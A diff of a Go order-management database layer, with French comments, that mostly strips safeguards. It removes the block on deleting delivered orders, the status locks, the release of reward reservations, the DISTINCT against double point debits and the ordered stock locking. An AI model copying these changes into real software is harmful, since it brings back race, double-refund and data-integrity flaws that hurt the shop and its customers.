||||
}
|
||||
return nil
|
||||
})
|
||||
return d.GDB.Exec(`DELETE FROM baskets WHERE username = ?`, username).Error
|
||||
}
|
||||
|
||||
func (d *Database) GetBasketItemOwner(basketID int) (string, error) {
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"slices"
|
||||
@@ -91,10 +90,6 @@ func (d *Database) CancelCommandAtomic(commandID int, username, reason string, f
|
||||
}
|
||||
log.Printf("✅ [CancelAtomic] Stock remboursé")
|
||||
|
||||
if err := d.ReleaseRewardReservationsForCommandTx(tx, commandID, username); err != nil {
|
||||
log.Printf("⚠️ [CancelAtomic] Erreur libération réservation récompense: %v", err)
|
||||
}
|
||||
|
||||
if err := tx.Exec(`
|
||||
UPDATE clients
|
||||
SET cancellations_count = COALESCE(cancellations_count, 0) + 1,
|
||||
@@ -197,17 +192,10 @@ func (d *Database) DeleteCommandAtomic(commandID int, deletedBy, role string) er
|
||||
return fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
|
||||
// Jamais de suppression physique d'une commande déjà livrée/approuvée
|
||||
// (preuve de transaction) — quel que soit le rôle appelant. Seule une
|
||||
// annulation logique (CancelCommandByAdminAtomic) reste possible.
|
||||
if cmdResult.Status == "approved" || cmdResult.Status == "livre" {
|
||||
return fmt.Errorf("commande déjà livrée/approuvée: suppression impossible")
|
||||
}
|
||||
|
||||
log.Printf("📋 [DeleteAtomic] Trouvée - status=%s, client=%s", cmdResult.Status, cmdResult.Username)
|
||||
|
||||
// ✅ Ne restitue le stock QUE si pas déjà fait
|
||||
stockAlreadyRestored := cmdResult.Status == "cancelled"
|
||||
stockAlreadyRestored := cmdResult.Status == "cancelled" || cmdResult.Status == "approved" || cmdResult.Status == "livre"
|
||||
if !stockAlreadyRestored {
|
||||
if err := tx.Exec(`
|
||||
UPDATE products p
|
||||
@@ -336,25 +324,24 @@ func (d *Database) AddClientPenalty(username string, points int) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// CancelCommandByAdminAtomic transitionne une commande vers 'cancelled' depuis le
|
||||
// panel admin/cabine de façon atomique (verrou FOR UPDATE sur la commande) : le
|
||||
// remboursement de stock et le changement de statut se font dans la même
|
||||
// transaction, conditionnés à une lecture du statut précédent faite sous verrou.
|
||||
// Corrige un double remboursement possible sur double-tap/appel concurrent —
|
||||
// l'ancien code (RestoreCommandStock + UpdateCommandStatus appelés séparément
|
||||
// par le handler) lisait le statut puis restaurait le stock hors transaction,
|
||||
// laissant une fenêtre où deux requêtes concurrentes lisaient toutes les deux
|
||||
// "pas encore annulée" et remboursaient chacune le stock.
|
||||
func (d *Database) CancelCommandByAdminAtomic(commandID int) error {
|
||||
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
var cmd struct {
|
||||
Status string `gorm:"column:status"`
|
||||
Username string `gorm:"column:username"`
|
||||
}
|
||||
if err := tx.Raw(`SELECT status, username FROM commandes WHERE id = ? FOR UPDATE`, commandID).Scan(&cmd).Error; err != nil {
|
||||
var prevStatus string
|
||||
if err := tx.Raw(`SELECT status FROM commandes WHERE id = ? FOR UPDATE`, commandID).Scan(&prevStatus).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
if cmd.Status == "" {
|
||||
if prevStatus == "" {
|
||||
return fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
prevStatus := cmd.Status
|
||||
if prevStatus == "cancelled" {
|
||||
return nil
|
||||
}
|
||||
if prevStatus == "approved" {
|
||||
return ErrCommandLocked
|
||||
}
|
||||
|
||||
noRestoreStatuses := []string{"cancelled", "approved", "livre"}
|
||||
if !slices.Contains(noRestoreStatuses, prevStatus) {
|
||||
@@ -372,12 +359,6 @@ func (d *Database) CancelCommandByAdminAtomic(commandID int) error {
|
||||
}
|
||||
}
|
||||
|
||||
if prevStatus != "approved" && cmd.Username != "" {
|
||||
if err := d.ReleaseRewardReservationsForCommandTx(tx, commandID, cmd.Username); err != nil {
|
||||
log.Printf("⚠️ [CancelByAdminAtomic] Erreur libération réservation récompense: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := tx.Exec(`UPDATE commandes SET status = 'cancelled', updated_at = CURRENT_TIMESTAMP WHERE id = ?`, commandID).Error; err != nil {
|
||||
return fmt.Errorf("erreur mise à jour statut: %w", err)
|
||||
}
|
||||
@@ -385,16 +366,16 @@ func (d *Database) CancelCommandByAdminAtomic(commandID int) error {
|
||||
})
|
||||
}
|
||||
|
||||
// CancelDeliveryByLivreurAtomic annule une commande côté livreur et restaure le stock
|
||||
// de manière atomique (verrou FOR UPDATE + transition conditionnée à l'ancien statut).
|
||||
// Idempotent : si la commande est déjà annulée, ne touche pas au stock et renvoie
|
||||
// alreadyCancelled=true — évite un remboursement en double en cas de double appel
|
||||
// (double-tap, retry réseau, ou commande déjà annulée par un autre canal).
|
||||
func (d *Database) CancelDeliveryByLivreurAtomic(commandID int) (alreadyCancelled bool, prevStatus string, err error) {
|
||||
err = d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
var cmd struct {
|
||||
Status string `gorm:"column:status"`
|
||||
Username string `gorm:"column:username"`
|
||||
}
|
||||
if e := tx.Raw(`SELECT status, username FROM commandes WHERE id = ? FOR UPDATE`, commandID).Scan(&cmd).Error; e != nil {
|
||||
if e := tx.Raw(`SELECT status FROM commandes WHERE id = ? FOR UPDATE`, commandID).Scan(&prevStatus).Error; e != nil {
|
||||
return e
|
||||
}
|
||||
prevStatus = cmd.Status
|
||||
if prevStatus == "" {
|
||||
return fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
@@ -402,9 +383,6 @@ func (d *Database) CancelDeliveryByLivreurAtomic(commandID int) (alreadyCancelle
|
||||
alreadyCancelled = true
|
||||
return nil
|
||||
}
|
||||
if prevStatus == "livre" || prevStatus == "approved" {
|
||||
return ErrCommandAlreadyDelivered
|
||||
}
|
||||
|
||||
result := tx.Exec(`
|
||||
UPDATE commandes SET status = 'cancelled', updated_at = CURRENT_TIMESTAMP
|
||||
@@ -428,15 +406,7 @@ func (d *Database) CancelDeliveryByLivreurAtomic(commandID int) (alreadyCancelle
|
||||
WHERE agg.product_id = p.id`, commandID).Error; e != nil {
|
||||
return fmt.Errorf("erreur remboursement stock: %w", e)
|
||||
}
|
||||
|
||||
if prevStatus != "approved" && cmd.Username != "" {
|
||||
if e := d.ReleaseRewardReservationsForCommandTx(tx, commandID, cmd.Username); e != nil {
|
||||
log.Printf("⚠️ [CancelDeliveryByLivreurAtomic] Erreur libération réservation récompense: %v", e)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
var ErrCommandAlreadyDelivered = errors.New("commande déjà livrée : annulation impossible")
|
||||
|
||||
@@ -76,9 +76,8 @@ func (d *Database) GetClientByID(id int) (*models.Client, error) {
|
||||
return client, nil
|
||||
}
|
||||
|
||||
// GetAllClients récupère une page de clients, triée par date de création
|
||||
// descendante, ainsi que le nombre total de clients en base.
|
||||
func (d *Database) GetAllClients(limit, offset int) ([]*models.Client, int64, error) {
|
||||
// GetAllClients récupère tous les clients
|
||||
func (d *Database) GetAllClients() ([]*models.Client, error) {
|
||||
var rows []struct {
|
||||
ID int `gorm:"column:id"`
|
||||
Username string `gorm:"column:username"`
|
||||
@@ -90,25 +89,16 @@ func (d *Database) GetAllClients(limit, offset int) ([]*models.Client, int64, er
|
||||
Amende float64 `gorm:"column:amende"`
|
||||
ReferralBalance float64 `gorm:"column:referral_balance"`
|
||||
CancellationsCount int `gorm:"column:cancellations_count"`
|
||||
LastPenaltyReason string `gorm:"column:last_penalty_reason"`
|
||||
Parrain string `gorm:"column:parrain"`
|
||||
PointsExtraJSON []byte `gorm:"column:points_extra"`
|
||||
CreatedAt time.Time `gorm:"column:created_at"`
|
||||
}
|
||||
err := d.GDB.Raw(`
|
||||
SELECT id, username, password, nom, prenom, telephone, command, amende, referral_balance,
|
||||
COALESCE(cancellations_count, 0) as cancellations_count,
|
||||
COALESCE(last_penalty_reason, '') as last_penalty_reason,
|
||||
COALESCE(parrain, '') as parrain,
|
||||
COALESCE(points_extra, '{}'::jsonb) as points_extra, created_at
|
||||
FROM clients ORDER BY created_at DESC LIMIT ? OFFSET ?`, limit, offset).Scan(&rows).Error
|
||||
FROM clients ORDER BY created_at DESC`).Scan(&rows).Error
|
||||
if err != nil {
|
||||
return nil, 0, fmt.Errorf("erreur lors de la récupération des clients: %w", err)
|
||||
}
|
||||
|
||||
var total int64
|
||||
if err := d.GDB.Table("clients").Count(&total).Error; err != nil {
|
||||
return nil, 0, fmt.Errorf("erreur lors du comptage des clients: %w", err)
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des clients: %w", err)
|
||||
}
|
||||
|
||||
clients := make([]*models.Client, 0, len(rows))
|
||||
@@ -124,8 +114,6 @@ func (d *Database) GetAllClients(limit, offset int) ([]*models.Client, int64, er
|
||||
Amende: row.Amende,
|
||||
ReferralBalance: row.ReferralBalance,
|
||||
CancellationsCount: row.CancellationsCount,
|
||||
LastPenaltyReason: row.LastPenaltyReason,
|
||||
Parrain: row.Parrain,
|
||||
CreatedAt: row.CreatedAt,
|
||||
}
|
||||
client.PointsExtra = map[string]int{}
|
||||
@@ -135,7 +123,7 @@ func (d *Database) GetAllClients(limit, offset int) ([]*models.Client, int64, er
|
||||
clients = append(clients, client)
|
||||
}
|
||||
|
||||
return clients, total, nil
|
||||
return clients, nil
|
||||
}
|
||||
|
||||
// UpdateClient met à jour un client existant
|
||||
@@ -612,60 +600,54 @@ func (d *Database) CalculateAndAddPointsForCommandTx(tx *gorm.DB, commandID int,
|
||||
|
||||
log.Printf("💰 [CalcPointsTx] points par pool: %v, total=%d", poolPts, totalPoints)
|
||||
|
||||
// totalPoints == 0 ne doit sauter que le crédit (rien à créditer) — pas
|
||||
// l'ÉTAPE 3 plus bas, qui doit tourner même sans aucun point gagné sur
|
||||
// cette commande : sinon un article récompense d'une commande dont le
|
||||
// reste du panier n'atteint aucun palier de points ne verrait jamais sa
|
||||
// réservation libérée/son solde débité à l'approbation.
|
||||
if totalPoints > 0 {
|
||||
if len(categoryParts) > 0 {
|
||||
pointCategory = strings.Join(categoryParts, " & ")
|
||||
} else {
|
||||
pointCategory = "points"
|
||||
}
|
||||
|
||||
for i, pool := range pools {
|
||||
if poolPts[i] == 0 {
|
||||
continue
|
||||
}
|
||||
if err := tx.Exec(`
|
||||
UPDATE clients
|
||||
SET points_extra = jsonb_set(
|
||||
COALESCE(points_extra, '{}'::jsonb),
|
||||
ARRAY[?],
|
||||
to_jsonb(COALESCE((points_extra->>?)::int, 0) + ?)
|
||||
), updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = ?
|
||||
`, pool.Key, pool.Key, poolPts[i], username).Error; err != nil {
|
||||
log.Printf("❌ [CalcPointsTx] Erreur UPDATE points_extra pool[%d] (%s): %v", i, pool.Key, err)
|
||||
return 0, "", fmt.Errorf("erreur mise à jour points pool[%d]: %w", i, err)
|
||||
}
|
||||
log.Printf("💰 [CalcPointsTx] pool[%d] (%s / key=%s): +%d pts", i, pool.Name, pool.Key, poolPts[i])
|
||||
}
|
||||
|
||||
log.Printf("🎉 [CalcPointsTx] SUCCÈS - %d points [%s] → %s", totalPoints, pointCategory, username)
|
||||
if totalPoints == 0 {
|
||||
return 0, "", nil
|
||||
}
|
||||
|
||||
// ✅ ÉTAPE 3: Déduire les points des récompenses reçues dans cette commande.
|
||||
// DISTINCT sur reward_pool_key : une seule réclamation (un seul claim, un
|
||||
// seul threshold consommé) peut avoir ajouté plusieurs lignes pour le même
|
||||
// pool (toutes les catégories/produits éligibles) — sans ce DISTINCT, une
|
||||
// commande avec plusieurs lignes récompense pour le même pool débiterait
|
||||
// threshold points plusieurs fois pour une seule récompense réellement
|
||||
// accordée.
|
||||
var poolKeys []string
|
||||
if len(categoryParts) > 0 {
|
||||
pointCategory = strings.Join(categoryParts, " & ")
|
||||
} else {
|
||||
pointCategory = "points"
|
||||
}
|
||||
|
||||
for i, pool := range pools {
|
||||
if poolPts[i] == 0 {
|
||||
continue
|
||||
}
|
||||
if err := tx.Exec(`
|
||||
UPDATE clients
|
||||
SET points_extra = jsonb_set(
|
||||
COALESCE(points_extra, '{}'::jsonb),
|
||||
ARRAY[?],
|
||||
to_jsonb(COALESCE((points_extra->>?)::int, 0) + ?)
|
||||
), updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = ?
|
||||
`, pool.Key, pool.Key, poolPts[i], username).Error; err != nil {
|
||||
log.Printf("❌ [CalcPointsTx] Erreur UPDATE points_extra pool[%d] (%s): %v", i, pool.Key, err)
|
||||
return 0, "", fmt.Errorf("erreur mise à jour points pool[%d]: %w", i, err)
|
||||
}
|
||||
log.Printf("💰 [CalcPointsTx] pool[%d] (%s / key=%s): +%d pts", i, pool.Name, pool.Key, poolPts[i])
|
||||
}
|
||||
|
||||
log.Printf("🎉 [CalcPointsTx] SUCCÈS - %d points [%s] → %s", totalPoints, pointCategory, username)
|
||||
|
||||
// ✅ ÉTAPE 3: Déduire les points des récompenses reçues dans cette commande
|
||||
var rewardItems []struct {
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||
}
|
||||
if err := tx.Raw(`
|
||||
SELECT DISTINCT reward_pool_key FROM command_items
|
||||
SELECT reward_pool_key FROM command_items
|
||||
WHERE command_id = ? AND is_reward = true AND reward_pool_key != ''
|
||||
`, commandID).Scan(&poolKeys).Error; err != nil {
|
||||
`, commandID).Scan(&rewardItems).Error; err != nil {
|
||||
log.Printf("⚠️ [CalcPointsTx] Erreur query reward items: %v", err)
|
||||
}
|
||||
|
||||
for _, poolKey := range poolKeys {
|
||||
for _, ri := range rewardItems {
|
||||
if settings.PointsReward == nil || settings.PointsReward.Threshold <= 0 {
|
||||
break
|
||||
}
|
||||
threshold := settings.PointsReward.Threshold
|
||||
poolKey := ri.RewardPoolKey
|
||||
// Déduire threshold points de points_extra[poolKey] (plancher à 0)
|
||||
if err := tx.Exec(`
|
||||
UPDATE clients
|
||||
@@ -795,34 +777,8 @@ func claimPoolRewardTx(tx *gorm.DB, username, poolKey string, threshold int) (re
|
||||
return earned - (row.Redeemed + 1), nil
|
||||
}
|
||||
|
||||
func releaseRewardReservationTx(tx *gorm.DB, username, poolKey string) error {
|
||||
return tx.Exec(`
|
||||
UPDATE clients
|
||||
SET points_redeemed = jsonb_set(
|
||||
COALESCE(points_redeemed, '{}'::jsonb),
|
||||
ARRAY[?],
|
||||
to_jsonb(GREATEST(0, COALESCE((points_redeemed->>?)::int, 0) - 1))
|
||||
), updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = ?`,
|
||||
poolKey, poolKey, username).Error
|
||||
}
|
||||
|
||||
func (d *Database) ReleaseRewardReservationsForCommandTx(tx *gorm.DB, commandID int, username string) error {
|
||||
var poolKeys []string
|
||||
if err := tx.Raw(`
|
||||
SELECT DISTINCT reward_pool_key FROM command_items
|
||||
WHERE command_id = ? AND is_reward = true AND reward_pool_key != ''
|
||||
`, commandID).Scan(&poolKeys).Error; err != nil {
|
||||
return fmt.Errorf("erreur lecture récompenses commande: %w", err)
|
||||
}
|
||||
for _, poolKey := range poolKeys {
|
||||
if err := releaseRewardReservationTx(tx, username, poolKey); err != nil {
|
||||
return fmt.Errorf("erreur libération réservation récompense pool=%s: %w", poolKey, err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ClaimPoolReward réclame une récompense pour un pool donné si le client a assez de points.
|
||||
// Retourne le nombre de récompenses disponibles restantes après la réclamation.
|
||||
func (d *Database) ClaimPoolReward(username, poolKey string, threshold int) (remainingAvailable int, err error) {
|
||||
err = d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
var err error
|
||||
@@ -867,82 +823,3 @@ func (d *Database) ResetClientRedeemed(username, poolKey string) error {
|
||||
UPDATE clients SET points_redeemed = '{}'::jsonb, updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = ?`, username).Error
|
||||
}
|
||||
|
||||
type RewardOrderItem struct {
|
||||
Produit string `json:"produit"`
|
||||
Quantity float64 `json:"quantity"`
|
||||
Price float64 `json:"price"`
|
||||
RewardPoolKey string `json:"reward_pool_key"`
|
||||
}
|
||||
|
||||
type RewardOrder struct {
|
||||
CommandID int `json:"command_id"`
|
||||
Status string `json:"status"`
|
||||
Total float64 `json:"total"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
Items []RewardOrderItem `json:"items"`
|
||||
}
|
||||
|
||||
// GetClientRewardOrders retourne les commandes du client contenant au moins un article récompense.
|
||||
func (d *Database) GetClientRewardOrders(username string) ([]RewardOrder, error) {
|
||||
var rows []struct {
|
||||
CommandID int `gorm:"column:command_id"`
|
||||
Status string `gorm:"column:status"`
|
||||
Total float64 `gorm:"column:total_prix"`
|
||||
CreatedAt time.Time `gorm:"column:created_at"`
|
||||
Produit string `gorm:"column:produit"`
|
||||
Quantity float64 `gorm:"column:quantite"`
|
||||
Price float64 `gorm:"column:prix"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||
}
|
||||
if err := d.GDB.Raw(`
|
||||
SELECT c.id AS command_id, c.status, c.total_prix::float8 AS total_prix, c.created_at,
|
||||
ci.produit, ci.quantite::float8 AS quantite, ci.prix::float8 AS prix,
|
||||
COALESCE(ci.reward_pool_key, '') AS reward_pool_key
|
||||
FROM command_items ci
|
||||
JOIN commandes c ON c.id = ci.command_id
|
||||
WHERE c.username = ? AND ci.is_reward = true
|
||||
ORDER BY c.created_at DESC, ci.id`, username).Scan(&rows).Error; err != nil {
|
||||
return nil, fmt.Errorf("erreur lecture commandes récompense: %w", err)
|
||||
}
|
||||
|
||||
orders := make([]RewardOrder, 0)
|
||||
index := make(map[int]int)
|
||||
for _, r := range rows {
|
||||
i, ok := index[r.CommandID]
|
||||
if !ok {
|
||||
orders = append(orders, RewardOrder{
|
||||
CommandID: r.CommandID, Status: r.Status, Total: r.Total, CreatedAt: r.CreatedAt,
|
||||
Items: []RewardOrderItem{},
|
||||
})
|
||||
i = len(orders) - 1
|
||||
index[r.CommandID] = i
|
||||
}
|
||||
orders[i].Items = append(orders[i].Items, RewardOrderItem{
|
||||
Produit: r.Produit, Quantity: r.Quantity, Price: r.Price, RewardPoolKey: r.RewardPoolKey,
|
||||
})
|
||||
}
|
||||
return orders, nil
|
||||
}
|
||||
|
||||
// DecrementClientRedeemed annule une seule récompense réclamée sur un pool (admin).
|
||||
func (d *Database) DecrementClientRedeemed(username, poolKey string) (int, error) {
|
||||
var newCount int
|
||||
err := d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
var current int
|
||||
if err := tx.Raw(`
|
||||
SELECT COALESCE((points_redeemed->>?)::int, 0)
|
||||
FROM clients WHERE username = ? FOR UPDATE`, poolKey, username).Scan(¤t).Error; err != nil {
|
||||
return fmt.Errorf("erreur lecture: %w", err)
|
||||
}
|
||||
if current <= 0 {
|
||||
return fmt.Errorf("aucune récompense réclamée sur ce pool")
|
||||
}
|
||||
if err := releaseRewardReservationTx(tx, username, poolKey); err != nil {
|
||||
return err
|
||||
}
|
||||
newCount = current - 1
|
||||
return nil
|
||||
})
|
||||
return newCount, err
|
||||
}
|
||||
|
||||
@@ -19,7 +19,6 @@ type commandItemFull struct {
|
||||
Prix float64 `gorm:"column:prix"`
|
||||
IsReward bool `gorm:"column:is_reward"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
||||
ClientUsername string `gorm:"column:client_username"`
|
||||
ClientNom string `gorm:"column:client_nom"`
|
||||
ClientPrenom string `gorm:"column:client_prenom"`
|
||||
@@ -40,7 +39,6 @@ func (d *Database) InsertCommandItemsBatch(items []commandItemFull) error {
|
||||
|
||||
// ============================================
|
||||
// VALIDATION HELPERS
|
||||
// ============================================
|
||||
|
||||
func validateCommandID(commandID int) error {
|
||||
if commandID <= 0 {
|
||||
@@ -233,7 +231,6 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
||||
ProductID *int64 `gorm:"column:product_id"`
|
||||
Quantite float64 `gorm:"column:quantite"`
|
||||
Prix float64 `gorm:"column:prix"`
|
||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
||||
IsReward bool `gorm:"column:is_reward"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||
ClientUsername string `gorm:"column:client_username"`
|
||||
@@ -263,7 +260,6 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
||||
ci.product_id,
|
||||
ci.quantite,
|
||||
ci.prix,
|
||||
ci.promo_discount,
|
||||
ci.is_reward,
|
||||
ci.reward_pool_key,
|
||||
ci.client_username,
|
||||
@@ -312,7 +308,6 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
||||
"product_id": productIDValue,
|
||||
"quantite": row.Quantite,
|
||||
"prix": row.Prix,
|
||||
"promo_discount": row.PromoDiscount,
|
||||
"is_reward": row.IsReward,
|
||||
"reward_pool_key": row.RewardPoolKey,
|
||||
"client_username": row.ClientUsername,
|
||||
@@ -356,7 +351,6 @@ func (d *Database) GetCommandItemsBatch(commandIDs []int) (map[int][]map[string]
|
||||
ProductID *int64 `gorm:"column:product_id"`
|
||||
Quantite float64 `gorm:"column:quantite"`
|
||||
Prix float64 `gorm:"column:prix"`
|
||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
||||
IsReward bool `gorm:"column:is_reward"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||
ClientUsername string `gorm:"column:client_username"`
|
||||
@@ -381,7 +375,7 @@ func (d *Database) GetCommandItemsBatch(commandIDs []int) (map[int][]map[string]
|
||||
err := d.GDB.Raw(`
|
||||
SELECT
|
||||
ci.id, ci.command_id, ci.produit, ci.product_id,
|
||||
ci.quantite, ci.prix, ci.promo_discount, ci.is_reward, ci.reward_pool_key,
|
||||
ci.quantite, ci.prix, ci.is_reward, ci.reward_pool_key,
|
||||
ci.client_username, ci.client_nom, ci.client_prenom, ci.client_telephone,
|
||||
ci.delivery_address, ci.status, ci.created_at, ci.updated_at,
|
||||
c.status as command_status, c.adresse as command_address,
|
||||
@@ -411,7 +405,7 @@ func (d *Database) GetCommandItemsBatch(commandIDs []int) (map[int][]map[string]
|
||||
item := map[string]any{
|
||||
"id": row.ID, "command_id": row.CommandID,
|
||||
"produit": row.Produit, "product_id": productIDValue,
|
||||
"quantite": row.Quantite, "prix": row.Prix, "promo_discount": row.PromoDiscount,
|
||||
"quantite": row.Quantite, "prix": row.Prix,
|
||||
"is_reward": row.IsReward, "reward_pool_key": row.RewardPoolKey,
|
||||
"client_username": row.ClientUsername, "client_nom": row.ClientNom,
|
||||
"client_prenom": row.ClientPrenom, "client_telephone": row.ClientTelephone,
|
||||
|
||||
@@ -6,9 +6,7 @@ import (
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"math"
|
||||
"slices"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -57,35 +55,6 @@ type basketItem struct {
|
||||
Price float64 `gorm:"column:price"`
|
||||
IsReward bool `gorm:"column:is_reward"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
||||
}
|
||||
|
||||
// Les articles récompense sont des produits physiques : ils sortent du stock comme les autres.
|
||||
func decrementBasketStockTx(tx *gorm.DB, items []basketItem) error {
|
||||
totals := make(map[int]float64)
|
||||
for _, item := range items {
|
||||
totals[item.ProductID] += item.Quantity
|
||||
}
|
||||
ids := make([]int, 0, len(totals))
|
||||
for id := range totals {
|
||||
totals[id] = math.Round(totals[id]*1000) / 1000
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Ints(ids)
|
||||
|
||||
for _, id := range ids {
|
||||
var currentStock float64
|
||||
if err := tx.Raw(`SELECT stock FROM products WHERE id = ? FOR UPDATE`, id).Scan(¤tStock).Error; err != nil {
|
||||
return fmt.Errorf("erreur lecture stock produit %d: %w", id, err)
|
||||
}
|
||||
if currentStock < totals[id] {
|
||||
return fmt.Errorf("stock insuffisant pour le produit %d", id)
|
||||
}
|
||||
if err := tx.Exec(`UPDATE products SET stock = stock - ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?`, totals[id], id).Error; err != nil {
|
||||
return fmt.Errorf("erreur décrémentation stock produit %d: %w", id, err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// validateCommandStatus vérifie si le statut est valide
|
||||
@@ -140,7 +109,7 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
|
||||
// bloque ici puis échoue proprement ("panier vide") une fois le premier
|
||||
// passage terminé, au lieu de créer une commande fantôme.
|
||||
var basketItems []basketItem
|
||||
if err := tx.Raw(`SELECT product_id, quantity, price, is_reward, reward_pool_key, promo_discount FROM baskets WHERE username = ? FOR UPDATE`, username).Scan(&basketItems).Error; err != nil {
|
||||
if err := tx.Raw(`SELECT product_id, quantity, price, is_reward, reward_pool_key FROM baskets WHERE username = ? FOR UPDATE`, username).Scan(&basketItems).Error; err != nil {
|
||||
return fmt.Errorf("erreur récupération panier: %w", err)
|
||||
}
|
||||
if len(basketItems) == 0 {
|
||||
@@ -158,14 +127,6 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
|
||||
return fmt.Errorf("montant de commande invalide: %.2f€", totalPrix)
|
||||
}
|
||||
|
||||
// Stock verrouillé avant l'insertion des command_items : leur clé étrangère
|
||||
// pose un verrou partagé sur products, et le reprendre ensuite en FOR UPDATE
|
||||
// provoquait des deadlocks entre checkouts simultanés. Ordre par id pour la
|
||||
// même raison quand plusieurs produits sont commandés.
|
||||
if err := decrementBasketStockTx(tx, basketItems); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var cmdResult struct {
|
||||
ID int `gorm:"column:id"`
|
||||
ClientOrderID int `gorm:"column:client_order_id"`
|
||||
@@ -201,7 +162,6 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
|
||||
Prix: item.Price,
|
||||
IsReward: item.IsReward,
|
||||
RewardPoolKey: item.RewardPoolKey,
|
||||
PromoDiscount: item.PromoDiscount,
|
||||
ClientUsername: username,
|
||||
ClientNom: clientNom,
|
||||
ClientPrenom: clientPrenom,
|
||||
@@ -214,6 +174,21 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
|
||||
return fmt.Errorf("erreur insertion items: %w", err)
|
||||
}
|
||||
|
||||
// Les articles récompense (payés en points) restent des produits physiques
|
||||
// réellement distribués : le stock doit être décrémenté comme pour un
|
||||
// article payant.
|
||||
for _, item := range basketItems {
|
||||
var currentStock float64
|
||||
if err := tx.Raw(`SELECT stock FROM products WHERE id = ? FOR UPDATE`, item.ProductID).Scan(¤tStock).Error; err != nil {
|
||||
return fmt.Errorf("erreur lecture stock produit %d: %w", item.ProductID, err)
|
||||
}
|
||||
if currentStock < item.Quantity {
|
||||
return fmt.Errorf("stock insuffisant pour le produit %d", item.ProductID)
|
||||
}
|
||||
if err := tx.Exec(`UPDATE products SET stock = stock - ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?`, item.Quantity, item.ProductID).Error; err != nil {
|
||||
return fmt.Errorf("erreur décrémentation stock produit %d: %w", item.ProductID, err)
|
||||
}
|
||||
}
|
||||
if err := tx.Exec(`DELETE FROM baskets WHERE username = ?`, username).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -297,7 +272,7 @@ func (d *Database) GetAllCommands(status, username string) ([]map[string]any, er
|
||||
gdb = gdb.Where("c.username = ?", username)
|
||||
}
|
||||
|
||||
if err := gdb.Order("c.created_at DESC").Scan(&rows).Error; err != nil {
|
||||
if err := gdb.Order("c.created_at DESC").Limit(1000).Scan(&rows).Error; err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération des commandes: %w", err)
|
||||
}
|
||||
|
||||
@@ -584,32 +559,20 @@ func (d *Database) UpdateCommandStatus(commandID int, status string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
result := d.GDB.Model(&models.Command{}).
|
||||
Where("id = ? AND status NOT IN ?", commandID, lockedCommandStatuses).
|
||||
Updates(map[string]any{
|
||||
"status": status,
|
||||
"updated_at": time.Now(),
|
||||
})
|
||||
result := d.GDB.Model(&models.Command{}).Where("id = ?", commandID).Updates(map[string]any{
|
||||
"status": status,
|
||||
"updated_at": time.Now(),
|
||||
})
|
||||
if result.Error != nil {
|
||||
return fmt.Errorf("erreur lors de la mise à jour du statut: %w", result.Error)
|
||||
}
|
||||
if result.RowsAffected == 0 {
|
||||
var exists bool
|
||||
d.GDB.Raw(`SELECT EXISTS(SELECT 1 FROM commandes WHERE id = ?)`, commandID).Scan(&exists)
|
||||
if exists {
|
||||
return ErrCommandLocked
|
||||
}
|
||||
return fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Une commande annulée ou approuvée ne change plus de statut : le stock a déjà été rendu ou est parti.
|
||||
var lockedCommandStatuses = []string{"cancelled", "approved"}
|
||||
|
||||
var ErrCommandLocked = errors.New("commande annulée ou approuvée : statut non modifiable")
|
||||
|
||||
func (d *Database) AddCommandLog(commandID int, status, message, author string) error {
|
||||
sanitizedMessage := sanitizeLogMessage(message)
|
||||
sanitizedAuthor := sanitizeLogMessage(author)
|
||||
|
||||
@@ -6,13 +6,10 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"time"
